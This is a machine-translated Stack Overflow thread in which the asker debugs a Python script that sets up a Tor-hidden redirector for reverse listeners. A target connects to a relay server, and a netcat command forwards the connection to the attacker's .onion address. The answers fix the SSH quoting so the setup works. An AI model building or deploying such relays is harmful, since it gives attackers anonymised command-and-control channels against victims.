【问题标题】:SSH command works manually, but not through pythonSSH 命令手动工作,但不能通过 python
【发布时间】:2018-02-10 21:39:06
【问题描述】:

我正在编写一个 python 脚本来帮助我通过 tor 创建反向侦听器。链条如下:

target 连接到 > 配置为使用 tor 处理所有 tcp 和 dns 流量的 linux 重定向服务器。

此服务器侦听指定端口并通过 > 将连接转发到攻击者 pc 的 .onion 地址,netcat 会在该地址中获取连接。

我正在通过 SSH 连接到重定向服务器以根据需要创建转发端口。我的脚本工作正常,除了 ssh 命令,即ssh user@ip.address "nc -nvlp 1234 -c'nc address.onion 1234'。如果我在 bash 终端中输入命令,一切都会很好。

但我尝试使用 os.system、子进程等发送 ssh 命令,但无济于事。我也尝试过使用 paramiko 连接到 ssh 并发出命令但同样的问题。正如我所说,如果我复制 python 将发送到 bash 终端的命令,它可以正常工作。任何帮助将非常感激。

这是不工作的sn-p,其余代码只是编辑并重新启动tor,但如果有人需要,我可以将其全部发布:

 SSH_Hostname = '192.168.1.71'
 SSH_Username = "servant"
 SSH_Command ="ssh %s@%s  \"nc -nvlp <PORT> -c 'nc <ONION> <PORT>' </dev/null &\" &" %(SSH_Username,SSH_Hostname) #works manually

 def SSH_Script(port):
     newSSH_Command=SSH_Command.replace('<ONION>',Get_Onion(TOR_Hidden_Service_Dir))
     newSSH_Command=newSSH_Command.replace('<PORT>',port)

     print "Configuring Redirector > %s" %newSSH_Command
     os.system(newSSH_Command)

来电者:

def Create_Listener(lport):
print "Starting listener on %s ..." %lport
Add_Tor_Port(TOR_Hidden_Service_Dir,lport)

retvalue = os.popen("service tor status|grep Active:").read() 
if "inactive" in retvalue:
    print "Starting Tor ..."
    os.system("service tor start")
else:
    print "Re-starting Tor ..."
    os.system("service tor restart")
sleep(3)
print 'Onion Address = %s' %Get_Onion(TOR_Hidden_Service_Dir)
SSH_Script(lport)

#start netcat
portlist = Get_Tor_Ports(TOR_Hidden_Service_Dir)
for prt in portlist:
    print "listening on port %s" %prt

get_onion:

def Get_Onion(hs_dir):
hostnamefile= open('%s/hostname' % hs_dir)
onion= hostnamefile.read().replace('\n','')
hostnamefile.close()
return onion

这是 print newSSH_comand 输出的内容:

ssh servant@192.168.1.71  "nc -nvlp 55501 -c 'nc 2xvch5okdl76sn2j.onion 55501' </dev/null &" &

如果我复制该字符串并在 bash 中输入一切正常。只是无法让 python 正确执行它

【问题讨论】:

  • 你应该真的subprocess与参数列表一起使用,而不是尝试自己生成带引号的命令!
  • 我尝试了子进程但没有成功,可能是由于命令的复杂性,也许我没有正确分解参数列表。
  • 您的示例中缺少对 SSH_Script(...) 的调用。 Get_Onion(...) 的返回值也可能对分析您的问题很重要。请提供一些示例值以及运行示例时收到的错误消息。
  • @Brad 您正在将错误输出重定向到 null。尝试将其写入文件并拖尾文件
  • @Brad 也尝试在 journalctl 中寻找线索

标签: python ssh tor


【解决方案1】:

我怀疑这是一个操作系统级别的问题。当您手动运行 SSH 命令时,您是否从该 python 脚本运行的同一帐户运行它?用于执行 Python 脚本的用户帐户可能无法访问 SSH,或者用户无权访问可用于查找 user@host 组合的 SSH 密钥的 authorized_keys 文件。检查您的 SSH 设置;)

如果您按原样运行此代码,您是否看到任何从运行此代码的机器在 192.168.1.71 上的主机上的登录尝试?

你的 get_onion 中的 hostnamefile= open('%s/hostname' % hs_dir) 行在 % 之后似乎有一个额外的空格拼写错误

【讨论】:

  • 感谢您在运行脚本时查看此...相同的用户帐户,当从 python 与从 bash 运行时,ssh 服务器上的日志显示相同的条目,所以我认为登录没问题
  • 我确实注意到 python ssh 命令的输出是:[3] Done ssh serving@192.168.1.71 "nc -nvlp 55501 -c 'nc 2xvch5okdl76sn2j.onion 55501' /null &" 并手动运行它只会返回:[3] 11324
【解决方案2】:

好吧,我让它为遇到这种麻烦的其他人工作。无论出于何种原因,python 不喜欢我的 " 和 ' 顺序。我改变了:

SSH_Command ="ssh %s@%s  \"nc -nvlp <PORT> -c 'nc <ONION> <PORT>' </dev/null &\" &" %(SSH_Username,SSH_Hostname)

收件人:

SSH_Command ="ssh %s@%s  'nc -nvlp <PORT> -c \"nc <ONION> <PORT>\" </dev/null &'&" %(SSH_Username,SSH_Hostname)

对我来说没有多大意义,但无论哪种方式都有效。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2018-01-13
    • 2017-08-05
    • 2021-12-28
    • 2020-02-15
    相关资源
    最近更新 更多